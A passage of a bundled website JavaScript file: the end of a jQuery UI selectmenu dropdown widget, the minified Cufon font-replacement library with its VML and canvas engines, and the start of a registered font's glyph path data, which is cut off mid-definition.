		$('.'+ this.widgetBaseClass +'.ui-state-hover').trigger('mouseout');
	},
	_toggle: function(event,retainFocus){
		if(this.list.is('.'+ this.widgetBaseClass +'-open')){ this.close(event,retainFocus); }
		else { this.open(event); }
	},
	_formatText: function(text){
		return this.options.format ? this.options.format(text) : text;
	},
	_selectedIndex: function(){
		return this.element[0].selectedIndex;
	},
	_selectedOptionLi: function(){
		return this._optionLis.eq(this._selectedIndex());
	},
	_focusedOptionLi: function(){
		return this.list.find('.'+ this.widgetBaseClass +'-item-focus');
	},
	_moveSelection: function(amt){
		var currIndex = parseInt(this._selectedOptionLi().data('index'), 10);
		var newIndex = currIndex + amt;
		return this._optionLis.eq(newIndex).trigger('mouseup');
	},
	_moveFocus: function(amt){
		if(!isNaN(amt)){
			var currIndex = parseInt(this._focusedOptionLi().data('index'), 10);
			var newIndex = currIndex + amt;
		}
		else { var newIndex = parseInt(this._optionLis.filter(amt).data('index'), 10); }
		
		if(newIndex < 0){ newIndex = 0; }
		if(newIndex > this._optionLis.size()-1){
			newIndex =  this._optionLis.size()-1;
		}
		var activeID = this.widgetBaseClass + '-item-' + Math.round(Math.random() * 1000);
		
		this._focusedOptionLi().find('a:eq(0)').attr('id','');
		this._optionLis.eq(newIndex).find('a:eq(0)').attr('id',activeID)[0].focus();
		this.list.attr('aria-activedescendant', activeID);
	},
	_scrollPage: function(direction){
		var numPerPage = Math.floor(this.list.outerHeight() / this.list.find('li:first').outerHeight());
		numPerPage = (direction == 'up') ? -numPerPage : numPerPage;
		this._moveFocus(numPerPage);
	},
	_setData: function(key, value) {
		this.options[key] = value;
		if (key == 'disabled') {
			this.close();
			this.element
				.add(this.newelement)
				.add(this.list)
					[value ? 'addClass' : 'removeClass'](
						this.widgetBaseClass + '-disabled' + ' ' +
						this.namespace + '-state-disabled')
					.attr("aria-disabled", value);
		}
	},
	value: function(newValue) {
		if (arguments.length) {
			this.element[0].selectedIndex = newValue;
			this._refreshValue();
			this._refreshPosition();
		}
		return this.element[0].selectedIndex;
	},
	_refreshValue: function() {
		var activeClass = (this.options.style == "popup") ? " ui-state-active" : "";
		var activeID = this.widgetBaseClass + '-item-' + Math.round(Math.random() * 1000);
		//deselect previous
		this.list
			.find('.'+ this.widgetBaseClass +'-item-selected')
			.removeClass(this.widgetBaseClass + "-item-selected" + activeClass)
			.find('a')
			.attr('aria-selected', 'false')
			.attr('id', '');
		//select new
		this._selectedOptionLi()
			.addClass(this.widgetBaseClass + "-item-selected"+activeClass)
			.find('a')
			.attr('aria-selected', 'true')
			.attr('id', activeID);
			
		//toggle any class brought in from option
		var currentOptionClasses = this.newelement.data('optionClasses') ? this.newelement.data('optionClasses') : "";
		var newOptionClasses = this._selectedOptionLi().data('optionClasses') ? this._selectedOptionLi().data('optionClasses') : "";
		this.newelement
			.removeClass(currentOptionClasses)
			.data('optionClasses', newOptionClasses)
			.addClass( newOptionClasses )
			.find('.'+this.widgetBaseClass+'-status')
			.html( 
				this._selectedOptionLi()
					.find('a:eq(0)')
					.html() 
			);
			
		this.list.attr('aria-activedescendant', activeID)
	},
	_refreshPosition: function(){	
		//set left value
		this.list.css('left', this.newelement.offset().left);
		
		//set top value
		var menuTop = this.newelement.offset().top;
		var scrolledAmt = this.list[0].scrollTop;
		this.list.find('li:lt('+this._selectedIndex()+')').each(function(){
			scrolledAmt -= $(this).outerHeight();
		});
		
		if(this.newelement.is('.'+this.widgetBaseClass+'-popup')){
			menuTop+=scrolledAmt; 
			this.list.css('top', menuTop); 
		}	
		else { 
			menuTop += this.newelement.height();
			this.list.css('top', menuTop); 
		}
	}
});

$.extend($.ui.selectmenu, {
	getter: "value",
	version: "@VERSION",
	eventPrefix: "selectmenu",
	defaults: {
		transferClasses: true,
		style: 'popup', 
		width: null, 
		menuWidth: null, 
		handleWidth: 26, 
		maxHeight: null,
		icons: null, 
		format: null
	}
});

})(jQuery);;
/*
 * Copyright (c) 2009 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version 1.09i
 */
var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E<B;++E){D=C[E].split("=",2).reverse();G.stops.push([D[1]||E/(B-1),D[0]])}return G}),quotedList:j(function(E){var D=[],C=/\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,B;while(B=C.exec(E)){D.push(B[3]||B[1])}return D}),recognizesMedia:j(function(G){var E=document.createElement("style"),D,C,B;E.type="text/css";E.media=G;try{E.appendChild(document.createTextNode("/**/"))}catch(F){}C=g("head")[0];C.insertBefore(E,C.firstChild);D=(E.sheet||E.styleSheet);B=D&&!D.disabled;C.removeChild(E);return B}),removeClass:function(D,C){var B=RegExp("(?:^|\\s+)"+C+"(?=\\s|$)","g");D.className=D.className.replace(B,"");return D},supports:function(D,C){var B=document.createElement("span").style;if(B[D]===undefined){return false}B[D]=C;return B[D]===C},textAlign:function(E,D,B,C){if(D.get("textAlign")=="right"){if(B>0){E=" "+E}}else{if(B<C-1){E+=" "}}return E},textShadow:j(function(F){if(F=="none"){return null}var E=[],G={},B,C=0;var D=/(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;while(B=D.exec(F)){if(B[0]==","){E.push(G);G={};C=0}else{if(B[1]){G.color=B[1]}else{G[["offX","offY","blur"][C++]]=B[2]}}}E.push(G);return E}),textTransform:(function(){var B={uppercase:function(C){return C.toUpperCase()},lowercase:function(C){return C.toLowerCase()},capitalize:function(C){return C.replace(/\b./g,function(D){return D.toUpperCase()})}};return function(E,D){var C=B[D.get("textTransform")];return C?C(E):E}})(),whiteSpace:(function(){var D={inline:1,"inline-block":1,"run-in":1};var C=/^\s+/,B=/\s+$/;return function(H,F,G,E){if(E){if(E.nodeName.toLowerCase()=="br"){H=H.replace(C,"")}}if(D[F.get("display")]){return H}if(!G.previousSibling){H=H.replace(C,"")}if(!G.nextSibling){H=H.replace(B,"")}return H}})()};n.ready=(function(){var B=!n.recognizesMedia("all"),E=false;var D=[],H=function(){B=true;for(var K;K=D.shift();K()){}};var I=g("link"),J=g("style");function C(K){return K.disabled||G(K.sheet,K.media||"screen")}function G(M,P){if(!n.recognizesMedia(P||"all")){return true}if(!M||M.disabled){return false}try{var Q=M.cssRules,O;if(Q){search:for(var L=0,K=Q.length;O=Q[L],L<K;++L){switch(O.type){case 2:break;case 3:if(!G(O.styleSheet,O.media.mediaText)){return false}break;default:break search}}}}catch(N){}return true}function F(){if(document.createStyleSheet){return true}var L,K;for(K=0;L=I[K];++K){if(L.rel.toLowerCase()=="stylesheet"&&!C(L)){return false}}for(K=0;L=J[K];++K){if(!C(L)){return false}}return true}x.ready(function(){if(!E){E=n.getStyle(document.body).isUsable()}if(B||(E&&F())){H()}else{setTimeout(arguments.callee,10)}});return function(K){if(B){K()}else{D.push(K)}}})();function s(D){var C=this.face=D.face,B={"\u0020":1,"\u00a0":1,"\u3000":1};this.glyphs=D.glyphs;this.w=D.w;this.baseSize=parseInt(C["units-per-em"],10);this.family=C["font-family"].toLowerCase();this.weight=C["font-weight"];this.style=C["font-style"]||"normal";this.viewBox=(function(){var F=C.bbox.split(/\s+/);var E={minX:parseInt(F[0],10),minY:parseInt(F[1],10),maxX:parseInt(F[2],10),maxY:parseInt(F[3],10)};E.width=E.maxX-E.minX;E.height=E.maxY-E.minY;E.toString=function(){return[this.minX,this.minY,this.width,this.height].join(" ")};return E})();this.ascent=-parseInt(C.ascent,10);this.descent=-parseInt(C.descent,10);this.height=-this.ascent+this.descent;this.spacing=function(L,N,E){var O=this.glyphs,M,K,G,P=[],F=0,J=-1,I=-1,H;while(H=L[++J]){M=O[H]||this.missingGlyph;if(!M){continue}if(K){F-=G=K[H]||0;P[I]-=G}F+=P[++I]=~~(M.w||this.w)+N+(B[H]?E:0);K=M.k}P.total=F;return P}}function f(){var C={},B={oblique:"italic",italic:"oblique"};this.add=function(D){(C[D.style]||(C[D.style]={}))[D.weight]=D};this.get=function(H,I){var G=C[H]||C[B[H]]||C.normal||C.italic||C.oblique;if(!G){return null}I={normal:400,bold:700}[I]||parseInt(I,10);if(G[I]){return G[I]}var E={1:1,99:0}[I%100],K=[],F,D;if(E===undefined){E=I>400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||J<F){F=J}if(!D||J>D){D=J}K.push(J)}if(I<F){I=F}if(I>D){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?M<L:M>L:(M<=I&&L<=I)?M>L:M<L)?-1:1});return G[K[0]]}}function r(){function D(F,G){if(F.contains){return F.contains(G)}return F.compareDocumentPosition(G)&16}function B(G){var F=G.relatedTarget;if(!F||D(this,F)){return}C(this,G.type=="mouseover")}function E(F){C(this,F.type=="mouseenter")}function C(F,G){setTimeout(function(){var H=d.get(F).options;m.replace(F,G?h(H,H.hover):H,true)},10)}this.attach=function(F){if(F.onmouseenter===undefined){q(F,"mouseover",B);q(F,"mouseout",B)}else{q(F,"mouseenter",E);q(F,"mouseleave",E)}}}function u(){var C=[],D={};function B(H){var E=[],G;for(var F=0;G=H[F];++F){E[F]=C[D[G]]}return E}this.add=function(F,E){D[F]=C.push(E)-1};this.repeat=function(){var E=arguments.length?B(arguments):C,F;for(var G=0;F=E[G++];){m.replace(F[0],F[1],true)}}}function A(){var D={},B=0;function C(E){return E.cufid||(E.cufid=++B)}this.get=function(E){var F=C(E);return D[F]||(D[F]={})}}function a(B){var D={},C={};this.extend=function(E){for(var F in E){if(k(E,F)){D[F]=E[F]}}return this};this.get=function(E){return D[E]!=undefined?D[E]:B[E]};this.getSize=function(F,E){return C[F]||(C[F]=new n.Size(this.get(F),E))};this.isUsable=function(){return !!B}}function q(C,B,D){if(C.addEventListener){C.addEventListener(B,D,false)}else{if(C.attachEvent){C.attachEvent("on"+B,function(){return D.call(C,window.event)})}}}function v(C,B){var D=d.get(C);if(D.options){return C}if(B.hover&&B.hoverables[C.nodeName.toLowerCase()]){b.attach(C)}D.options=B;return C}function j(B){var C={};return function(D){if(!k(C,D)){C[D]=B.apply(null,arguments)}return C[D]}}function c(F,E){var B=n.quotedList(E.get("fontFamily").toLowerCase()),D;for(var C=0;D=B[C];++C){if(i[D]){return i[D].get(E.get("fontStyle"),E.get("fontWeight"))}}return null}function g(B){return document.getElementsByTagName(B)}function k(C,B){return C.hasOwnProperty(B)}function h(){var C={},B,F;for(var E=0,D=arguments.length;B=arguments[E],E<D;++E){for(F in B){if(k(B,F)){C[F]=B[F]}}}return C}function o(E,M,C,N,F,D){var K=document.createDocumentFragment(),H;if(M===""){return K}var L=N.separate;var I=M.split(p[L]),B=(L=="words");if(B&&t){if(/^\s/.test(M)){I.unshift("")}if(/\s$/.test(M)){I.push("")}}for(var J=0,G=I.length;J<G;++J){H=z[N.engine](E,B?n.textAlign(I[J],C,J,G):I[J],C,N,F,D,J<G-1);if(H){K.appendChild(H)}}return K}function l(D,M){var C=D.nodeName.toLowerCase();if(M.ignore[C]){return}var E=!M.textless[C];var B=n.getStyle(v(D,M)).extend(M);var F=c(D,B),G,K,I,H,L,J;if(!F){return}for(G=D.firstChild;G;G=I){K=G.nodeType;I=G.nextSibling;if(E&&K==3){if(H){H.appendData(G.data);D.removeChild(G)}else{H=G}if(I){continue}}if(H){D.replaceChild(o(F,n.whiteSpace(H.data,B,H,J),B,M,G,D),H);H=null}if(K==1){if(G.firstChild){if(G.nodeName.toLowerCase()=="cufon"){z[M.engine](F,null,B,M,G,D)}else{arguments.callee(G,M)}}J=G}}}var t=" ".split(/\s+/).length==0;var d=new A();var b=new r();var y=new u();var e=false;var z={},i={},w={autoDetect:false,engine:null,forceHitArea:false,hover:false,hoverables:{a:true},ignore:{applet:1,canvas:1,col:1,colgroup:1,head:1,iframe:1,map:1,optgroup:1,option:1,script:1,select:1,style:1,textarea:1,title:1,pre:1},printable:true,selector:(window.Sizzle||(window.jQuery&&function(B){return jQuery(B)})||(window.dojo&&dojo.query)||(window.Ext&&Ext.query)||(window.YAHOO&&YAHOO.util&&YAHOO.util.Selector&&YAHOO.util.Selector.query)||(window.$$&&function(B){return $$(B)})||(window.$&&function(B){return $(B)})||(document.querySelectorAll&&function(B){return document.querySelectorAll(B)})||g),separate:"words",textless:{dl:1,html:1,ol:1,table:1,tbody:1,thead:1,tfoot:1,tr:1,ul:1},textShadow:"none"};var p={words:/\s/.test("\u00a0")?/[^\S\u00a0]+/:/\s+/,characters:"",none:/^/};m.now=function(){x.ready();return m};m.refresh=function(){y.repeat.apply(y,arguments);return m};m.registerEngine=function(C,B){if(!B){return m}z[C]=B;return m.set("engine",C)};m.registerFont=function(D){if(!D){return m}var B=new s(D),C=B.family;if(!i[C]){i[C]=new f()}i[C].add(B);return m.set("fontFamily",'"'+C+'"')};m.replace=function(D,C,B){C=h(w,C);if(!C.engine){return m}if(!e){n.addClass(x.root(),"cufon-active cufon-loading");n.ready(function(){n.addClass(n.removeClass(x.root(),"cufon-loading"),"cufon-ready")});e=true}if(C.hover){C.forceHitArea=true}if(C.autoDetect){delete C.fontFamily}if(typeof C.textShadow=="string"){C.textShadow=n.textShadow(C.textShadow)}if(typeof C.color=="string"&&/^-/.test(C.color)){C.textGradient=n.gradient(C.color)}else{delete C.textGradient}if(!B){y.add(D,arguments)}if(D.nodeType||typeof D=="string"){D=[D]}n.ready(function(){for(var F=0,E=D.length;F<E;++F){var G=D[F];if(typeof G=="string"){m.replace(C.selector(G),C,true)}else{l(G,C)}}});return m};m.set=function(B,C){w[B]=C;return m};return m})();Cufon.registerEngine("vml",(function(){var e=document.namespaces;if(!e){return}e.add("cvml","urn:schemas-microsoft-com:vml");e=null;var b=document.createElement("cvml:shape");b.style.behavior="url(#default#VML)";if(!b.coordsize){return}b=null;var h=(document.documentMode||0)<8;document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m<l;++m){i.push(n[m][0]*100+"% "+n[m][1])}o.colors=i.join(",");o.color2=n[l][1];g[q]=o}return g[q]}return function(ac,G,Y,C,K,ad,W){var n=(G===null);if(n){G=K.alt}var I=ac.viewBox;var p=Y.computedFontSize||(Y.computedFontSize=new Cufon.CSS.Size(c(ad,Y.get("fontSize"))+"px",ac.baseSize));var y,q;if(n){y=K;q=K.firstChild}else{y=document.createElement("cufon");y.className="cufon cufon-vml";y.alt=G;q=document.createElement("cufoncanvas");y.appendChild(q);if(C.printable){var Z=document.createElement("cufontext");Z.appendChild(document.createTextNode(G));y.appendChild(Z)}if(!W){y.appendChild(document.createElement("cvml:shape"))}}var ai=y.style;var R=q.style;var l=p.convert(I.height),af=Math.ceil(l);var V=af/l;var P=V*Cufon.CSS.fontStretch(Y.get("fontStretch"));var U=I.minX,T=I.minY;R.height=af;R.top=Math.round(p.convert(T-ac.ascent));R.left=Math.round(p.convert(U));ai.height=p.convert(ac.height)+"px";var F=Y.get("color");var ag=Cufon.CSS.textTransform(G,Y).split("");var L=ac.spacing(ag,f(ad,Y,p,"letterSpacing"),f(ad,Y,p,"wordSpacing"));if(!L.length){return null}var k=L.total;var x=-U+k+(I.width-L[L.length-1]);var ah=p.convert(x*P),X=Math.round(ah);var O=x+","+I.height,m;var J="r"+O+"ns";var u=C.textGradient&&d(C.textGradient);var o=ac.glyphs,S=0;var H=C.textShadow;var ab=-1,aa=0,w;while(w=ag[++ab]){var D=o[ag[ab]]||ac.missingGlyph,v;if(!D){continue}if(n){v=q.childNodes[aa];while(v.firstChild){v.removeChild(v.firstChild)}}else{v=document.createElement("cvml:shape");q.appendChild(v)}v.stroked="f";v.coordsize=O;v.coordorigin=m=(U-S)+","+T;v.path=(D.d?"m"+D.d+"xe":"")+"m"+m+J;v.fillcolor=F;if(u){v.appendChild(u.cloneNode(false))}var ae=v.style;ae.width=X;ae.height=af;if(H){var s=H[0],r=H[1];var B=Cufon.CSS.color(s.color),z;var N=document.createElement("cvml:shadow");N.on="t";N.color=B.color;N.offset=s.offX+","+s.offY;if(r){z=Cufon.CSS.color(r.color);N.type="double";N.color2=z.color;N.offset2=r.offX+","+r.offY}N.opacity=B.opacity||(z&&z.opacity)||1;v.appendChild(N)}S+=L[aa++]}var M=v.nextSibling,t,A;if(C.forceHitArea){if(!M){M=document.createElement("cvml:rect");M.stroked="f";M.className="cufon-vml-cover";t=document.createElement("cvml:fill");t.opacity=0;M.appendChild(t);q.appendChild(M)}A=M.style;A.width=X;A.height=af}else{if(M){q.removeChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());Cufon.registerEngine("canvas",(function(){var b=document.createElement("canvas");if(!b||!b.getContext||!b.getContext.apply){return}b=null;var a=Cufon.CSS.supports("display","inline-block");var e=!a&&(document.compatMode=="BackCompat"||/frameset|transitional/i.test(document.doctype.publicId));var f=document.createElement("style");f.type="text/css";f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;"+(e?"":"font-size:1px;line-height:1px;")+"}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}"+(a?"cufon canvas{position:relative;}":"cufon canvas{position:absolute;}")+"}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g,"!important;")));document.getElementsByTagName("head")[0].appendChild(f);function d(p,h){var n=0,m=0;var g=[],o=/([mrvxe])([^a-z]*)/g,k;generate:for(var j=0;k=o.exec(p);++j){var l=k[2].split(",");switch(k[1]){case"v":g[j]={m:"bezierCurveTo",a:[n+~~l[0],m+~~l[1],n+~~l[2],m+~~l[3],n+=~~l[4],m+=~~l[5]]};break;case"r":g[j]={m:"lineTo",a:[n+=~~l[0],m+=~~l[1]]};break;case"m":g[j]={m:"moveTo",a:[n=~~l[0],m=~~l[1]]};break;case"x":g[j]={m:"closePath"};break;case"e":break generate}h[g[j].m].apply(h,g[j].a)}return g}function c(m,k){for(var j=0,h=m.length;j<h;++j){var g=m[j];k[g.m].apply(k,g.a)}}return function(V,w,P,t,C,W){var k=(w===null);if(k){w=C.getAttribute("alt")}var A=V.viewBox;var m=P.getSize("fontSize",V.baseSize);var B=0,O=0,N=0,u=0;var z=t.textShadow,L=[];if(z){for(var U=z.length;U--;){var F=z[U];var K=m.convertFrom(parseFloat(F.offX));var I=m.convertFrom(parseFloat(F.offY));L[U]=[K,I];if(I<B){B=I}if(K>O){O=K}if(I>N){N=I}if(K<u){u=K}}}var Z=Cufon.CSS.textTransform(w,P).split("");var E=V.spacing(Z,~~m.convertFrom(parseFloat(P.get("letterSpacing"))||0),~~m.convertFrom(parseFloat(P.get("wordSpacing"))||0));if(!E.length){return null}var h=E.total;O+=A.width-E[E.length-1];u+=A.minX;var s,n;if(k){s=C;n=C.firstChild}else{s=document.createElement("cufon");s.className="cufon cufon-canvas";s.setAttribute("alt",w);n=document.createElement("canvas");s.appendChild(n);if(t.printable){var S=document.createElement("cufontext");S.appendChild(document.createTextNode(w));s.appendChild(S)}}var aa=s.style;var H=n.style;var j=m.convert(A.height);var Y=Math.ceil(j);var M=Y/j;var G=M*Cufon.CSS.fontStretch(P.get("fontStretch"));var J=h*G;var Q=Math.ceil(m.convert(J+O-u));var o=Math.ceil(m.convert(A.height-B+N));n.width=Q;n.height=o;H.width=Q+"px";H.height=o+"px";B+=A.minY;H.top=Math.round(m.convert(B-V.ascent))+"px";H.left=Math.round(m.convert(u))+"px";var r=Math.max(Math.ceil(m.convert(J)),0)+"px";if(a){aa.width=r;aa.height=m.convert(V.height)+"px"}else{aa.paddingLeft=r;aa.paddingBottom=(m.convert(V.height)-1)+"px"}var X=n.getContext("2d"),D=j/A.height;X.scale(D,D*M);X.translate(-u,-B);X.save();function T(){var x=V.glyphs,ab,l=-1,g=-1,y;X.scale(G,1);while(y=Z[++l]){var ab=x[Z[l]]||V.missingGlyph;if(!ab){continue}if(ab.d){X.beginPath();if(ab.code){c(ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());;
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"72,191r0,-922r223,0r0,90r-115,0r0,742r115,0r0,90r-223,0","w":296},{"d":"36,-577r0,-58v66,0,126,-20,138,-70r70,0r0,432r-87,0r0,-304r-121,0","w":360},{"d":"299,-416v-106,0,-143,79,-143,171v0,91,40,169,132,169v92,0,148,-83,148,-169v0,-86,-40,-171,-137,-171xm194,-541r-50,-49r96,-46v-30,-13,-59,-26,-85,-34r76,-61v37,12,72,29,104,50r105,-50r49,49r-94,45v100,82,155,199,155,328v0,177,-74,323,-269,323v-152,0,-239,-110,-239,-266v0,-131,85,-254,223,-254v56,0,98,15,145,44v-23,-52,-65,-95,-108,-131","w":593},{"d":"421,-362r-223,244v24,26,57,42,99,42v139,-1,178,-173,124,-286xm64,28r-32,-28r65,-72v-40,-48,-61,-112,-61,-187v0,-158,95,-272,261,-272v70,0,128,20,170,55r63,-69r32,28r-65,71v40,49,61,113,61,187v0,159,-95,273,-261,273v-69,0,-126,-20,-169,-56xm173,-155r223,-244v-24,-26,-57,-42,-99,-42v-140,2,-177,172,-124,286","w":593},{"d":"60,0r0,-517r108,0r0,72r3,0v34,-51,77,-86,159,-86v63,0,122,27,145,86v38,-53,87,-86,162,-86v109,0,173,48,173,174r0,357r-114,0r0,-302v0,-82,-5,-139,-94,-139v-77,0,-110,51,-110,138r0,303r-114,0r0,-332v0,-71,-22,-109,-91,-109v-59,0,-113,48,-113,134r0,307r-114,0","w":870},{"d":"487,-304r261,0v1,-82,-47,-137,-131,-137v-81,0,-125,63,-130,137xm379,-257v-57,44,-233,-3,-233,115v0,52,56,66,104,66v63,0,129,-36,129,-104r0,-77xm744,-163r114,0v-29,110,-120,177,-234,177v-77,0,-150,-25,-190,-95v-81,133,-402,139,-402,-56v0,-129,103,-147,199,-161v82,-12,149,-6,149,-73v0,-59,-55,-70,-101,-70v-64,0,-109,26,-114,82r-114,0v8,-133,121,-172,232,-172v65,0,135,10,175,70v38,-50,102,-70,164,-70v176,0,251,130,240,302r-375,0v-1,79,41,153,135,153v61,0,103,-33,122,-87","w":889},{"d":"357,-310r-166,-95v-36,10,-61,42,-61,80v0,15,4,49,55,78r182,102v35,-15,60,-41,60,-82v0,-29,-15,-52,-70,-83xm485,-542r-108,0v-2,-55,-37,-99,-94,-99v-41,0,-82,30,-82,75v0,63,83,97,166,139v82,42,168,93,168,189v0,63,-47,124,-106,144v36,30,55,67,55,128v0,113,-95,171,-198,171v-122,0,-212,-72,-216,-205r108,0v5,70,38,115,105,115v50,0,87,-23,87,-81v0,-73,-86,-110,-172,-154v-87,-45,-176,-97,-176,-192v0,-74,42,-121,108,-149v-29,-30,-43,-59,-43,-101v0,-107,101,-169,197,-169v114,0,200,71,201,189"},{"d":"500,125r-500,0r0,-50r500,0r0,50","w":500},{"d":"76,-90r-56,-56r57,-61v-65,-69,-68,-218,0,-286r-57,-61r57,-57r57,56v64,-58,220,-62,283,-1r58,-57r61,61r-56,58v63,68,62,219,-1,289r55,59r-55,55r-57,-58v-66,66,-223,66,-290,1xm279,-201v81,0,140,-69,140,-150v0,-79,-59,-148,-139,-148v-83,0,-145,67,-145,150v0,82,63,148,144,148"},{"d":"719,-97r0,97r-87,0r0,-97r-195,0r0,-81r185,-250r97,0r0,256r47,0r0,75r-47,0xm632,-172v-2,-51,4,-111,-2,-158r-117,158r119,0xm37,-577r0,-58v66,0,126,-20,138,-70r70,0r0,432r-87,0r0,-304r-121,0xm141,24r419,-748r78,0r-418,748r-79,0","w":834},{"d":"334,-746v-55,0,-103,-48,-103,-103v0,-56,48,-103,103,-103v56,0,103,47,103,103v0,55,-47,103,-103,103xm273,-849v0,32,29,61,61,61v33,0,61,-29,61,-61v0,-33,-28,-61,-61,-61v-32,0,-61,28,-61,61xm331,-591r-108,307r218,0r-107,-307r-3,0xm-7,0r274,-714r133,0r275,714r-134,0r-67,-189r-285,0r-67,189r-129,0","w":667},{"d":"137,24r419,-748r78,0r-418,748r-79,0xm36,-577r0,-58v66,0,126,-20,138,-70r70,0r0,432r-87,0r0,-304r-121,0xm798,-311v0,128,-189,157,-223,241r213,0r0,70r-315,0v0,-100,60,-147,119,-184v58,-37,119,-60,119,-125v0,-43,-32,-67,-73,-67v-56,0,-71,51,-73,98r-87,0v0,-103,59,-168,164,-168v86,0,156,43,156,135","w":834},{"d":"69,0r0,-135r139,0r0,135v-1,82,-56,142,-135,158r0,-61v44,-11,66,-54,65,-97r-69,0xm69,-371r0,-135r139,0r0,135r-139,0","w":278},{"d":"229,-253r-174,-174r86,-56r158,159r160,-159r86,56r-175,174r175,174r-86,56r-160,-160r-158,160r-86,-56","w":600},{"d":"450,-108r0,-195r-402,0r0,-102r504,0r0,297r-102,0","w":600},{"d":"562,-272r122,0v-10,169,-128,286,-297,288v-10,15,-24,27,-32,44v55,-12,118,8,118,71v0,106,-144,104,-224,69r18,-40v41,17,126,35,126,-25v0,-40,-54,-47,-85,-28r-22,-19r55,-73v-190,-19,-303,-181,-303,-372v0,-204,128,-374,342,-374v161,0,288,90,303,244r-125,0v-21,-82,-74,-142,-178,-142v-153,0,-217,135,-217,272v0,137,64,272,217,272v111,0,172,-83,182,-187","w":722},{"d":"394,17v-104,0,-223,-72,-305,-1r-53,-81v76,-48,143,-153,87,-254r-92,0r0,-65r63,0v-30,-37,-47,-93,-47,-141v0,-125,118,-206,234,-206v153,0,250,82,251,247r-114,0v-4,-86,-38,-152,-135,-152v-61,0,-111,42,-111,117v0,46,25,96,46,135r147,0r0,65r-123,0v45,94,-14,185,-85,231r2,2v30,-12,59,-27,92,-27v66,-1,93,34,155,35v37,0,69,-14,97,-38r51,77v-50,43,-95,56,-160,56"},{"d":"199,-2r-196,-515r125,0r135,386r2,0r131,-386r119,0r-201,545v-37,93,-64,177,-183,177v-27,0,-53,-2,-79,-6r0,-96v18,3,36,7,54,7v70,3,74,-61,93,-112xm184,-588r90,-143r135,0r-142,143r-83,0","w":519},{"d":"201,-325r0,223r221,0v76,0,120,-41,120,-113v0,-70,-44,-110,-120,-110r-221,0xm76,0r0,-714r347,0v128,0,212,58,212,177v0,74,-41,122,-102